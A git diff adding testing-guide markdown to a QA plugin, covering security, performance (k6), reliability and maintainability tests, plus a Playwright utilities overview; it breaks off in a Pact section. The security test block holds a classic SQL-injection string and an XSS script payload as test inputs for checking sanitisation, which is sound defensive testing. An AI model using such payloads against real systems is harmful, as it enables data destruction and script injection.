+    await page.clock.fastForward('00:16:00');
+
+    // Token should be expired, API call should fail
+    const response = await request.get('/api/user/profile', {
+      headers: { Authorization: `Bearer ${token}` },
+    });
+
+    expect(response.status()).toBe(401);
+    const body = await response.json();
+    expect(body.error).toContain('expired');
+  });
+
+  test('passwords are never logged or exposed in errors', async ({ page }) => {
+    // Trigger login error
+    await page.goto('/login');
+    await page.getByLabel('Email').fill('test@example.com');
+    await page.getByLabel('Password').fill('WrongPassword123!');
+
+    // Monitor console for password leaks
+    const consoleLogs: string[] = [];
+    page.on('console', (msg) => consoleLogs.push(msg.text()));
+
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    // Error shown to user (generic message)
+    await expect(page.getByText('Invalid credentials')).toBeVisible();
+
+    // Verify password NEVER appears in console, DOM, or network
+    const pageContent = await page.content();
+    expect(pageContent).not.toContain('WrongPassword123!');
+    expect(consoleLogs.join('\n')).not.toContain('WrongPassword123!');
+  });
+
+  test('RBAC: users can only access resources they own', async ({ page, request }) => {
+    // Login as User A
+    const userAToken = await login(request, 'userA@example.com', 'password');
+
+    // Try to access User B's order
+    const response = await request.get('/api/orders/user-b-order-id', {
+      headers: { Authorization: `Bearer ${userAToken}` },
+    });
+
+    expect(response.status()).toBe(403); // Forbidden
+    const body = await response.json();
+    expect(body.error).toContain('insufficient permissions');
+  });
+
+  test('SQL injection attempts are blocked', async ({ page }) => {
+    await page.goto('/search');
+
+    // Attempt SQL injection
+    await page.getByPlaceholder('Search products').fill("'; DROP TABLE users; --");
+    await page.getByRole('button', { name: 'Search' }).click();
+
+    // Should return empty results, NOT crash or expose error
+    await expect(page.getByText('No results found')).toBeVisible();
+
+    // Verify app still works (table not dropped)
+    await page.goto('/dashboard');
+    await expect(page.getByText('Welcome')).toBeVisible();
+  });
+
+  test('XSS attempts are sanitized', async ({ page }) => {
+    await page.goto('/profile/edit');
+
+    // Attempt XSS injection
+    const xssPayload = '<script>alert("XSS")</script>';
+    await page.getByLabel('Bio').fill(xssPayload);
+    await page.getByRole('button', { name: 'Save' }).click();
+
+    // Reload and verify XSS is escaped (not executed)
+    await page.reload();
+    const bio = await page.getByTestId('user-bio').textContent();
+
+    // Text should be escaped, script should NOT execute
+    expect(bio).toContain('&lt;script&gt;');
+    expect(bio).not.toContain('<script>');
+  });
+});
+
+// Helper
+async function login(request: any, email: string, password: string): Promise<string> {
+  const response = await request.post('/api/auth/login', {
+    data: { email, password },
+  });
+  const body = await response.json();
+  return body.token;
+}
+```
+
+**Key Points**:
+
+- Authentication: Unauthenticated access redirected (not exposed)
+- Authorization: RBAC enforced (403 for insufficient permissions)
+- Token expiry: JWT expires after 15 minutes (automated validation)
+- Secret handling: Passwords never logged or exposed in errors
+- OWASP Top 10: SQL injection and XSS blocked (input sanitization)
+
+**Security NFR Criteria**:
+
+- ✅ PASS: All 6 tests green (auth, authz, token expiry, secret handling, SQL injection, XSS)
+- ⚠️ CONCERNS: 1-2 tests failing with mitigation plan and owner assigned
+- ❌ FAIL: Critical exposure (unauthenticated access, password leak, SQL injection succeeds)
+
+---
+
+### Example 2: Performance NFR Validation (k6 Load Testing for SLO/SLA)
+
+**Context**: Use k6 for load testing, stress testing, and SLO/SLA enforcement (NOT Playwright)
+
+**Implementation**:
+
+```javascript
+// tests/nfr/performance.k6.js
+import http from 'k6/http';
+import { check, sleep } from 'k6';
+import { Rate, Trend } from 'k6/metrics';
+
+// Custom metrics
+const errorRate = new Rate('errors');
+const apiDuration = new Trend('api_duration');
+
+// Performance thresholds (SLO/SLA)
+export const options = {
+  stages: [
+    { duration: '1m', target: 50 }, // Ramp up to 50 users
+    { duration: '3m', target: 50 }, // Stay at 50 users for 3 minutes
+    { duration: '1m', target: 100 }, // Spike to 100 users
+    { duration: '3m', target: 100 }, // Stay at 100 users
+    { duration: '1m', target: 0 }, // Ramp down
+  ],
+  thresholds: {
+    // SLO: 95% of requests must complete in <500ms
+    http_req_duration: ['p(95)<500'],
+    // SLO: Error rate must be <1%
+    errors: ['rate<0.01'],
+    // SLA: API endpoints must respond in <1s (99th percentile)
+    api_duration: ['p(99)<1000'],
+  },
+};
+
+export default function () {
+  // Test 1: Homepage load performance
+  const homepageResponse = http.get(`${__ENV.BASE_URL}/`);
+  check(homepageResponse, {
+    'homepage status is 200': (r) => r.status === 200,
+    'homepage loads in <2s': (r) => r.timings.duration < 2000,
+  });
+  errorRate.add(homepageResponse.status !== 200);
+
+  // Test 2: API endpoint performance
+  const apiResponse = http.get(`${__ENV.BASE_URL}/api/products?limit=10`, {
+    headers: { Authorization: `Bearer ${__ENV.API_TOKEN}` },
+  });
+  check(apiResponse, {
+    'API status is 200': (r) => r.status === 200,
+    'API responds in <500ms': (r) => r.timings.duration < 500,
+  });
+  apiDuration.add(apiResponse.timings.duration);
+  errorRate.add(apiResponse.status !== 200);
+
+  // Test 3: Search endpoint under load
+  const searchResponse = http.get(`${__ENV.BASE_URL}/api/search?q=laptop&limit=100`);
+  check(searchResponse, {
+    'search status is 200': (r) => r.status === 200,
+    'search responds in <1s': (r) => r.timings.duration < 1000,
+    'search returns results': (r) => JSON.parse(r.body).results.length > 0,
+  });
+  errorRate.add(searchResponse.status !== 200);
+
+  sleep(1); // Realistic user think time
+}
+
+// Threshold validation (run after test)
+export function handleSummary(data) {
+  const p95Duration = data.metrics.http_req_duration.values['p(95)'];
+  const p99ApiDuration = data.metrics.api_duration.values['p(99)'];
+  const errorRateValue = data.metrics.errors.values.rate;
+
+  console.log(`P95 request duration: ${p95Duration.toFixed(2)}ms`);
+  console.log(`P99 API duration: ${p99ApiDuration.toFixed(2)}ms`);
+  console.log(`Error rate: ${(errorRateValue * 100).toFixed(2)}%`);
+
+  return {
+    'summary.json': JSON.stringify(data),
+    stdout: `
+Performance NFR Results:
+- P95 request duration: ${p95Duration < 500 ? '✅ PASS' : '❌ FAIL'} (${p95Duration.toFixed(2)}ms / 500ms threshold)
+- P99 API duration: ${p99ApiDuration < 1000 ? '✅ PASS' : '❌ FAIL'} (${p99ApiDuration.toFixed(2)}ms / 1000ms threshold)
+- Error rate: ${errorRateValue < 0.01 ? '✅ PASS' : '❌ FAIL'} (${(errorRateValue * 100).toFixed(2)}% / 1% threshold)
+    `,
+  };
+}
+```
+
+**Run k6 tests:**
+
+```bash
+# Local smoke test (10 VUs, 30s)
+k6 run --vus 10 --duration 30s tests/nfr/performance.k6.js
+
+# Full load test (stages defined in script)
+k6 run tests/nfr/performance.k6.js
+
+# CI integration with thresholds
+k6 run --out json=performance-results.json tests/nfr/performance.k6.js
+```
+
+**Key Points**:
+
+- **k6 is the right tool** for load testing (NOT Playwright)
+- SLO/SLA thresholds enforced automatically (`p(95)<500`, `rate<0.01`)
+- Realistic load simulation (ramp up, sustained load, spike testing)
+- Comprehensive metrics (p50, p95, p99, error rate, throughput)
+- CI-friendly (JSON output, exit codes based on thresholds)
+
+**Performance NFR Criteria**:
+
+- ✅ PASS: All SLO/SLA targets met with k6 profiling evidence (p95 < 500ms, error rate < 1%)
+- ⚠️ CONCERNS: Trending toward limits (e.g., p95 = 480ms approaching 500ms) or missing baselines
+- ❌ FAIL: SLO/SLA breached (e.g., p95 > 500ms) or error rate > 1%
+
+**Performance Testing Levels (from Test Architect course):**
+
+- **Load testing**: System behavior under expected load
+- **Stress testing**: System behavior under extreme load (breaking point)
+- **Spike testing**: Sudden load increases (traffic spikes)
+- **Endurance/Soak testing**: System behavior under sustained load (memory leaks, resource exhaustion)
+- **Benchmarking**: Baseline measurements for comparison
+
+**Note**: Playwright can validate **perceived performance** (Core Web Vitals via Lighthouse), but k6 validates **system performance** (throughput, latency, resource limits under load)
+
+---
+
+### Example 3: Reliability NFR Validation (Playwright for UI Resilience)
+
+**Context**: Automated reliability tests validating graceful degradation and recovery paths
+
+**Implementation**:
+
+```typescript
+// tests/nfr/reliability.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Reliability NFR: Error Handling & Recovery', () => {
+  test('app remains functional when API returns 500 error', async ({ page, context }) => {
+    // Mock API failure
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Internal Server Error' }) });
+    });
+
+    await page.goto('/products');
+
+    // User sees error message (not blank page or crash)
+    await expect(page.getByText('Unable to load products. Please try again.')).toBeVisible();
+    await expect(page.getByRole('button', { name: 'Retry' })).toBeVisible();
+
+    // App navigation still works (graceful degradation)
+    await page.getByRole('link', { name: 'Home' }).click();
+    await expect(page).toHaveURL('/');
+  });
+
+  test('API client retries on transient failures (3 attempts)', async ({ page, context }) => {
+    let attemptCount = 0;
+
+    await context.route('**/api/checkout', (route) => {
+      attemptCount++;
+
+      // Fail first 2 attempts, succeed on 3rd
+      if (attemptCount < 3) {
+        route.fulfill({ status: 503, body: JSON.stringify({ error: 'Service Unavailable' }) });
+      } else {
+        route.fulfill({ status: 200, body: JSON.stringify({ orderId: '12345' }) });
+      }
+    });
+
+    await page.goto('/checkout');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    // Should succeed after 3 attempts
+    await expect(page.getByText('Order placed successfully')).toBeVisible();
+    expect(attemptCount).toBe(3);
+  });
+
+  test('app handles network disconnection gracefully', async ({ page, context }) => {
+    await page.goto('/dashboard');
+
+    // Simulate offline mode
+    await context.setOffline(true);
+
+    // Trigger action requiring network
+    await page.getByRole('button', { name: 'Refresh Data' }).click();
+
+    // User sees offline indicator (not crash)
+    await expect(page.getByText('You are offline. Changes will sync when reconnected.')).toBeVisible();
+
+    // Reconnect
+    await context.setOffline(false);
+    await page.getByRole('button', { name: 'Refresh Data' }).click();
+
+    // Data loads successfully
+    await expect(page.getByText('Data updated')).toBeVisible();
+  });
+
+  test('health check endpoint returns service status', async ({ request }) => {
+    const response = await request.get('/api/health');
+
+    expect(response.status()).toBe(200);
+
+    const health = await response.json();
+    expect(health).toHaveProperty('status', 'healthy');
+    expect(health).toHaveProperty('timestamp');
+    expect(health).toHaveProperty('services');
+
+    // Verify critical services are monitored
+    expect(health.services).toHaveProperty('database');
+    expect(health.services).toHaveProperty('cache');
+    expect(health.services).toHaveProperty('queue');
+
+    // All services should be UP
+    expect(health.services.database.status).toBe('UP');
+    expect(health.services.cache.status).toBe('UP');
+    expect(health.services.queue.status).toBe('UP');
+  });
+
+  test('circuit breaker opens after 5 consecutive failures', async ({ page, context }) => {
+    let failureCount = 0;
+
+    await context.route('**/api/recommendations', (route) => {
+      failureCount++;
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Service Error' }) });
+    });
+
+    await page.goto('/product/123');
+
+    // Wait for circuit breaker to open (fallback UI appears)
+    await expect(page.getByText('Recommendations temporarily unavailable')).toBeVisible({ timeout: 10000 });
+
+    // Verify circuit breaker stopped making requests after threshold (should be ≤5)
+    expect(failureCount).toBeLessThanOrEqual(5);
+  });
+
+  test('rate limiting gracefully handles 429 responses', async ({ page, context }) => {
+    let requestCount = 0;
+
+    await context.route('**/api/search', (route) => {
+      requestCount++;
+
+      if (requestCount > 10) {
+        // Rate limit exceeded
+        route.fulfill({
+          status: 429,
+          headers: { 'Retry-After': '5' },
+          body: JSON.stringify({ error: 'Rate limit exceeded' }),
+        });
+      } else {
+        route.fulfill({ status: 200, body: JSON.stringify({ results: [] }) });
+      }
+    });
+
+    await page.goto('/search');
+
+    // Make 15 search requests rapidly
+    for (let i = 0; i < 15; i++) {
+      await page.getByPlaceholder('Search').fill(`query-${i}`);
+      await page.getByRole('button', { name: 'Search' }).click();
+    }
+
+    // User sees rate limit message (not crash)
+    await expect(page.getByText('Too many requests. Please wait a moment.')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Error handling: Graceful degradation (500 error → user-friendly message + retry button)
+- Retries: 3 attempts on transient failures (503 → eventual success)
+- Offline handling: Network disconnection detected (sync when reconnected)
+- Health checks: `/api/health` monitors database, cache, queue
+- Circuit breaker: Opens after 5 failures (fallback UI, stop retries)
+- Rate limiting: 429 response handled (Retry-After header respected)
+
+**Reliability NFR Criteria**:
+
+- ✅ PASS: Error handling, retries, health checks verified (all 6 tests green)
+- ⚠️ CONCERNS: Partial coverage (e.g., missing circuit breaker) or no telemetry
+- ❌ FAIL: No recovery path (500 error crashes app) or unresolved crash scenarios
+
+---
+
+### Example 4: Maintainability NFR Validation (CI Tools, Not Playwright)
+
+**Context**: Use proper CI tools for code quality validation (coverage, duplication, vulnerabilities)
+
+**Implementation**:
+
+```yaml
+# .github/workflows/nfr-maintainability.yml
+name: NFR - Maintainability
+
+on: [push, pull_request]
+
+jobs:
+  test-coverage:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run tests with coverage
+        run: npm run test:coverage
+
+      - name: Check coverage threshold (80% minimum)
+        run: |
+          COVERAGE=$(jq '.total.lines.pct' coverage/coverage-summary.json)
+          echo "Coverage: $COVERAGE%"
+          if (( $(echo "$COVERAGE < 80" | bc -l) )); then
+            echo "❌ FAIL: Coverage $COVERAGE% below 80% threshold"
+            exit 1
+          else
+            echo "✅ PASS: Coverage $COVERAGE% meets 80% threshold"
+          fi
+
+  code-duplication:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Check code duplication (<5% allowed)
+        run: |
+          npx jscpd src/ --threshold 5 --format json --output duplication.json
+          DUPLICATION=$(jq '.statistics.total.percentage' duplication.json)
+          echo "Duplication: $DUPLICATION%"
+          if (( $(echo "$DUPLICATION >= 5" | bc -l) )); then
+            echo "❌ FAIL: Duplication $DUPLICATION% exceeds 5% threshold"
+            exit 1
+          else
+            echo "✅ PASS: Duplication $DUPLICATION% below 5% threshold"
+          fi
+
+  vulnerability-scan:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run npm audit (no critical/high vulnerabilities)
+        run: |
+          npm audit --json > audit.json || true
+          CRITICAL=$(jq '.metadata.vulnerabilities.critical' audit.json)
+          HIGH=$(jq '.metadata.vulnerabilities.high' audit.json)
+          echo "Critical: $CRITICAL, High: $HIGH"
+          if [ "$CRITICAL" -gt 0 ] || [ "$HIGH" -gt 0 ]; then
+            echo "❌ FAIL: Found $CRITICAL critical and $HIGH high vulnerabilities"
+            npm audit
+            exit 1
+          else
+            echo "✅ PASS: No critical/high vulnerabilities"
+          fi
+```
+
+**Playwright Tests for Observability (E2E Validation):**
+
+```typescript
+// tests/nfr/observability.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Maintainability NFR: Observability Validation', () => {
+  test('critical errors are reported to monitoring service', async ({ page, context }) => {
+    const sentryEvents: any[] = [];
+
+    // Mock Sentry SDK to verify error tracking
+    await context.addInitScript(() => {
+      (window as any).Sentry = {
+        captureException: (error: Error) => {
+          console.log('SENTRY_CAPTURE:', JSON.stringify({ message: error.message, stack: error.stack }));
+        },
+      };
+    });
+
+    page.on('console', (msg) => {
+      if (msg.text().includes('SENTRY_CAPTURE:')) {
+        sentryEvents.push(JSON.parse(msg.text().replace('SENTRY_CAPTURE:', '')));
+      }
+    });
+
+    // Trigger error by mocking API failure
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Database Error' }) });
+    });
+
+    await page.goto('/products');
+
+    // Wait for error UI and Sentry capture
+    await expect(page.getByText('Unable to load products')).toBeVisible();
+
+    // Verify error was captured by monitoring
+    expect(sentryEvents.length).toBeGreaterThan(0);
+    expect(sentryEvents[0]).toHaveProperty('message');
+    expect(sentryEvents[0]).toHaveProperty('stack');
+  });
+
+  test('API response times are tracked in telemetry', async ({ request }) => {
+    const response = await request.get('/api/products?limit=10');
+
+    expect(response.ok()).toBeTruthy();
+
+    // Verify Server-Timing header for APM (Application Performance Monitoring)
+    const serverTiming = response.headers()['server-timing'];
+
+    expect(serverTiming).toBeTruthy();
+    expect(serverTiming).toContain('db'); // Database query time
+    expect(serverTiming).toContain('total'); // Total processing time
+  });
+
+  test('structured logging present in application', async ({ request }) => {
+    // Make API call that generates logs
+    const response = await request.post('/api/orders', {
+      data: { productId: '123', quantity: 2 },
+    });
+
+    expect(response.ok()).toBeTruthy();
+
+    // Note: In real scenarios, validate logs in monitoring system (Datadog, CloudWatch)
+    // This test validates the logging contract exists (Server-Timing, trace IDs in headers)
+    const traceId = response.headers()['x-trace-id'];
+    expect(traceId).toBeTruthy(); // Confirms structured logging with correlation IDs
+  });
+});
+```
+
+**Key Points**:
+
+- **Coverage/duplication**: CI jobs (GitHub Actions), not Playwright tests
+- **Vulnerability scanning**: npm audit in CI, not Playwright tests
+- **Observability**: Playwright validates error tracking (Sentry) and telemetry headers
+- **Structured logging**: Validate logging contract (trace IDs, Server-Timing headers)
+- **Separation of concerns**: Build-time checks (coverage, audit) vs runtime checks (error tracking, telemetry)
+
+**Maintainability NFR Criteria**:
+
+- ✅ PASS: Clean code (80%+ coverage from CI, <5% duplication from CI), observability validated in E2E, no critical vulnerabilities from npm audit
+- ⚠️ CONCERNS: Duplication >5%, coverage 60-79%, or unclear ownership
+- ❌ FAIL: Absent tests (<60%), tangled implementations (>10% duplication), or no observability
+
+---
+
+## NFR Assessment Checklist
+
+Before release gate:
+
+- [ ] **Security** (Playwright E2E + Security Tools):
+  - [ ] Auth/authz tests green (unauthenticated redirect, RBAC enforced)
+  - [ ] Secrets never logged or exposed in errors
+  - [ ] OWASP Top 10 validated (SQL injection blocked, XSS sanitized)
+  - [ ] Security audit completed (vulnerability scan, penetration test if applicable)
+
+- [ ] **Performance** (k6 Load Testing):
+  - [ ] SLO/SLA targets met with k6 evidence (p95 <500ms, error rate <1%)
+  - [ ] Load testing completed (expected load)
+  - [ ] Stress testing completed (breaking point identified)
+  - [ ] Spike testing completed (handles traffic spikes)
+  - [ ] Endurance testing completed (no memory leaks under sustained load)
+
+- [ ] **Reliability** (Playwright E2E + API Tests):
+  - [ ] Error handling graceful (500 → user-friendly message + retry)
+  - [ ] Retries implemented (3 attempts on transient failures)
+  - [ ] Health checks monitored (/api/health endpoint)
+  - [ ] Circuit breaker tested (opens after failure threshold)
+  - [ ] Offline handling validated (network disconnection graceful)
+
+- [ ] **Maintainability** (CI Tools):
+  - [ ] Test coverage ≥80% (from CI coverage report)
+  - [ ] Code duplication <5% (from jscpd CI job)
+  - [ ] No critical/high vulnerabilities (from npm audit CI job)
+  - [ ] Structured logging validated (Playwright validates telemetry headers)
+  - [ ] Error tracking configured (Sentry/monitoring integration validated)
+
+- [ ] **Ambiguous requirements**: Default to CONCERNS (force team to clarify thresholds and evidence)
+- [ ] **NFR criteria documented**: Measurable thresholds defined (not subjective "fast enough")
+- [ ] **Automated validation**: NFR tests run in CI pipeline (not manual checklists)
+- [ ] **Tool selection**: Right tool for each NFR (k6 for performance, Playwright for security/reliability E2E, CI tools for maintainability)
+
+## NFR Gate Decision Matrix
+
+| Category            | PASS Criteria                                | CONCERNS Criteria                            | FAIL Criteria                                  |
+| ------------------- | -------------------------------------------- | -------------------------------------------- | ---------------------------------------------- |
+| **Security**        | Auth/authz, secret handling, OWASP verified  | Minor gaps with clear owners                 | Critical exposure or missing controls          |
+| **Performance**     | Metrics meet SLO/SLA with profiling evidence | Trending toward limits or missing baselines  | SLO/SLA breached or resource leaks detected    |
+| **Reliability**     | Error handling, retries, health checks OK    | Partial coverage or missing telemetry        | No recovery path or unresolved crash scenarios |
+| **Maintainability** | Clean code, tests, docs shipped together     | Duplication, low coverage, unclear ownership | Absent tests, tangled code, no observability   |
+
+**Default**: If targets or evidence are undefined → **CONCERNS** (force team to clarify before sign-off)
+
+## Integration Points
+
+- **Used in workflows**: `*nfr-assess` (automated NFR validation), `*trace` (gate decision Phase 2), `*test-design` (NFR risk assessment via Utility Tree)
+- **Related fragments**: `risk-governance.md` (NFR risk scoring), `probability-impact.md` (NFR impact assessment), `test-quality.md` (maintainability standards), `test-levels-framework.md` (system-level testing for NFRs)
+- **Tools by NFR Category**:
+  - **Security**: Playwright (E2E auth/authz), OWASP ZAP, Burp Suite, npm audit, Snyk
+  - **Performance**: k6 (load/stress/spike/endurance), Lighthouse (Core Web Vitals), Artillery
+  - **Reliability**: Playwright (E2E error handling), API tests (retries, health checks), Chaos Engineering tools
+  - **Maintainability**: GitHub Actions (coverage, duplication, audit), jscpd, Playwright (observability validation)
+
+_Source: Test Architect course (NFR testing approaches, Utility Tree, Quality Scenarios), ISO/IEC 25010 Software Quality Characteristics, OWASP Top 10, k6 documentation, SRE practices_
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/overview.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/overview.md
new file mode 100644
index 0000000..d637594
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/overview.md
@@ -0,0 +1,286 @@
+# Playwright Utils Overview
+
+## Principle
+
+Use production-ready, fixture-based utilities from `@seontechnologies/playwright-utils` for common Playwright testing patterns. Build test helpers as pure functions first, then wrap in framework-specific fixtures for composability and reuse. **Works equally well for pure API testing (no browser) and UI testing.**
+
+## Rationale
+
+Writing Playwright utilities from scratch for every project leads to:
+
+- Duplicated code across test suites
+- Inconsistent patterns and quality
+- Maintenance burden when Playwright APIs change
+- Missing advanced features (schema validation, HAR recording, auth persistence)
+
+`@seontechnologies/playwright-utils` provides:
+
+- **Production-tested**: Used in enterprise production environments
+- **Functional-first design**: Core logic as pure functions, fixtures for convenience
+- **Composable fixtures**: Use `mergeTests` to combine utilities
+- **TypeScript support**: Full type safety with generic types
+- **Comprehensive coverage**: API requests, auth, network, logging, file handling, burn-in
+- **Backend-first mentality**: Most utilities work without a browser - pure API/service testing is a first-class use case
+
+## Installation
+
+```bash
+npm install -D @seontechnologies/playwright-utils
+```
+
+**Peer Dependencies:**
+
+- `@playwright/test` >= 1.54.1 (required)
+- `ajv` >= 8.0.0 (optional - for JSON Schema validation)
+- `zod` >= 3.0.0 (optional - for Zod schema validation)
+
+## Available Utilities
+
+### Core Testing Utilities
+
+| Utility                    | Purpose                                                                       | Test Context       |
+| -------------------------- | ----------------------------------------------------------------------------- | ------------------ |
+| **api-request**            | Typed HTTP client with schema validation, retry, and operation-based overload | **API/Backend**    |
+| **recurse**                | Polling for async operations, background jobs                                 | **API/Backend**    |
+| **auth-session**           | Token persistence, multi-user, service-to-service                             | **API/Backend/UI** |
+| **log**                    | Playwright report-integrated logging                                          | **API/Backend/UI** |
+| **file-utils**             | CSV/XLSX/PDF/ZIP reading & validation                                         | **API/Backend/UI** |
+| **burn-in**                | Smart test selection with git diff                                            | **CI/CD**          |
+| **network-recorder**       | HAR record/playback for offline testing                                       | UI only            |
+| **intercept-network-call** | Network spy/stub with auto JSON parsing                                       | UI only            |
+| **network-error-monitor**  | Automatic HTTP 4xx/5xx detection                                              | UI only            |
+
+**Note**: 6 of 9 utilities work without a browser. Only 3 are UI-specific (network-recorder, intercept-network-call, network-error-monitor).
+
+## Design Patterns
+
+### Pattern 1: Functional Core, Fixture Shell
+
+**Context**: All utilities follow the same architectural pattern - pure function as core, fixture as wrapper.
+
+**Implementation**:
+
+```typescript
+// Direct import (pass Playwright context explicitly)
+import { apiRequest } from '@seontechnologies/playwright-utils';
+
+test('direct usage', async ({ request }) => {
+  const { status, body } = await apiRequest({
+    request, // Must pass request context
+    method: 'GET',
+    path: '/api/users',
+  });
+});
+
+// Fixture import (context injected automatically)
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('fixture usage', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    // No need to pass request context
+    method: 'GET',
+    path: '/api/users',
+  });
+});
+```
+
+**Key Points**:
+
+- Pure functions testable without Playwright running
+- Fixtures inject framework dependencies automatically
+- Choose direct import (more control) or fixture (convenience)
+
+### Pattern 2: Subpath Imports for Tree-Shaking
+
+**Context**: Import only what you need to keep bundle sizes small.
+
+**Implementation**:
+
+```typescript
+// Import specific utility
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request';
+
+// Import specific fixture
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+// Import everything (use sparingly)
+import { apiRequest, recurse, log } from '@seontechnologies/playwright-utils';
+```
+
+**Key Points**:
+
+- Subpath imports enable tree-shaking
+- Keep bundle sizes minimal
+- Import from specific paths for production builds
+
+### Pattern 3: Fixture Composition with mergeTests
+
+**Context**: Combine multiple playwright-utils fixtures with your own custom fixtures.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+import { test as logFixture } from '@seontechnologies/playwright-utils/log/fixtures';
+
+// Merge all fixtures into one test object
+export const test = mergeTests(apiRequestFixture, authFixture, recurseFixture, logFixture);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In your tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('all utilities available', async ({ apiRequest, authToken, recurse, log }) => {
+  await log.step('Making authenticated API request');
+
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await recurse(
+    () => apiRequest({ method: 'GET', path: `/status/${body.id}` }),
+    (res) => res.body.ready === true,
+  );
+});
+```
+
+**Key Points**:
+
+- `mergeTests` combines multiple fixtures without conflicts
+- Create one merged-fixtures.ts file per project
+- Import test object from your merged fixtures in all tests
+- All utilities available in single test signature
+
+## Integration with Existing Tests
+
+### Gradual Adoption Strategy
+
+**1. Start with logging** (zero breaking changes):
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+test('existing test', async ({ page }) => {
+  await log.step('Navigate to page'); // Just add logging
+  await page.goto('/dashboard');
+  // Rest of test unchanged
+});
+```
+
+**2. Add API utilities** (for API tests):
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('API test', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users',
+  });
+
+  expect(status).toBe(200);
+});
+```
+
+**3. Expand to network utilities** (for UI tests):
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('UI with network control', async ({ page, interceptNetworkCall }) => {
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users',
+  });
+
+  await page.goto('/dashboard');
+  const { responseJson } = await usersCall;
+
+  expect(responseJson).toHaveLength(10);
+});
+```
+
+**4. Full integration** (merged fixtures):
+
+Create merged-fixtures.ts and use across all tests.
+
+## Related Fragments
+
+- `api-request.md` - HTTP client with schema validation
+- `network-recorder.md` - HAR-based offline testing
+- `auth-session.md` - Token management
+- `intercept-network-call.md` - Network interception
+- `recurse.md` - Polling patterns
+- `log.md` - Logging utility
+- `file-utils.md` - File operations
+- `fixtures-composition.md` - Advanced mergeTests patterns
+
+## Anti-Patterns
+
+**❌ Don't mix direct and fixture imports in same test:**
+
+```typescript
+import { apiRequest } from '@seontechnologies/playwright-utils';
+import { test } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+
+test('bad', async ({ request, authToken }) => {
+  // Confusing - mixing direct (needs request) and fixture (has authToken)
+  await apiRequest({ request, method: 'GET', path: '/api/users' });
+});
+```
+
+**✅ Use consistent import style:**
+
+```typescript
+import { test } from '../support/merged-fixtures';
+
+test('good', async ({ apiRequest, authToken }) => {
+  // Clean - all from fixtures
+  await apiRequest({ method: 'GET', path: '/api/users' });
+});
+```
+
+**❌ Don't import everything when you need one utility:**
+
+```typescript
+import * as utils from '@seontechnologies/playwright-utils'; // Large bundle
+```
+
+**✅ Use subpath imports:**
+
+```typescript
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request'; // Small bundle
+```
+
+## Reference Implementation
+
+The official `@seontechnologies/playwright-utils` repository provides working examples of all patterns described in these fragments.
+
+**Repository:** <https://github.com/seontechnologies/playwright-utils>
+
+**Key resources:**
+
+- **Test examples:** `playwright/tests` - All utilities in action
+- **Framework setup:** `playwright.config.ts`, `playwright/support/merged-fixtures.ts`
+- **CI patterns:** `.github/workflows/` - GitHub Actions with sharding, parallelization
+
+**Quick start:**
+
+```bash
+git clone https://github.com/seontechnologies/playwright-utils.git
+cd playwright-utils
+nvm use
+npm install
+npm run test:pw-ui  # Explore tests with Playwright UI
+npm run test:pw
+```
+
+All patterns in TEA fragments are production-tested in this repository.
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pact-consumer-di.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pact-consumer-di.md
new file mode 100644
index 0000000..fd2b9ef
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pact-consumer-di.md
@@ -0,0 +1,310 @@
+# Pact Consumer DI Pattern
+
+## Principle
+
+Inject the Pact mock server URL into consumer code via an optional `baseUrl` field on the API context type instead of using raw `fetch()` inside `executeTest()`. This ensures contract tests exercise the real consumer HTTP client — including retry logic, header assembly, timeout configuration, error handling, and metrics — rather than testing Pact itself.
+
+The base URL is typically a module-level constant evaluated at import time (`export const API_BASE_URL = env.API_BASE_URL`), but `mockServer.url` is only available at runtime inside `executeTest()`. Dependency injection solves this timing mismatch cleanly: add one optional field to the context type, use nullish coalescing in the HTTP client factory, and inject the mock server URL in tests.
+
+## Rationale
+
+### The Problem
+
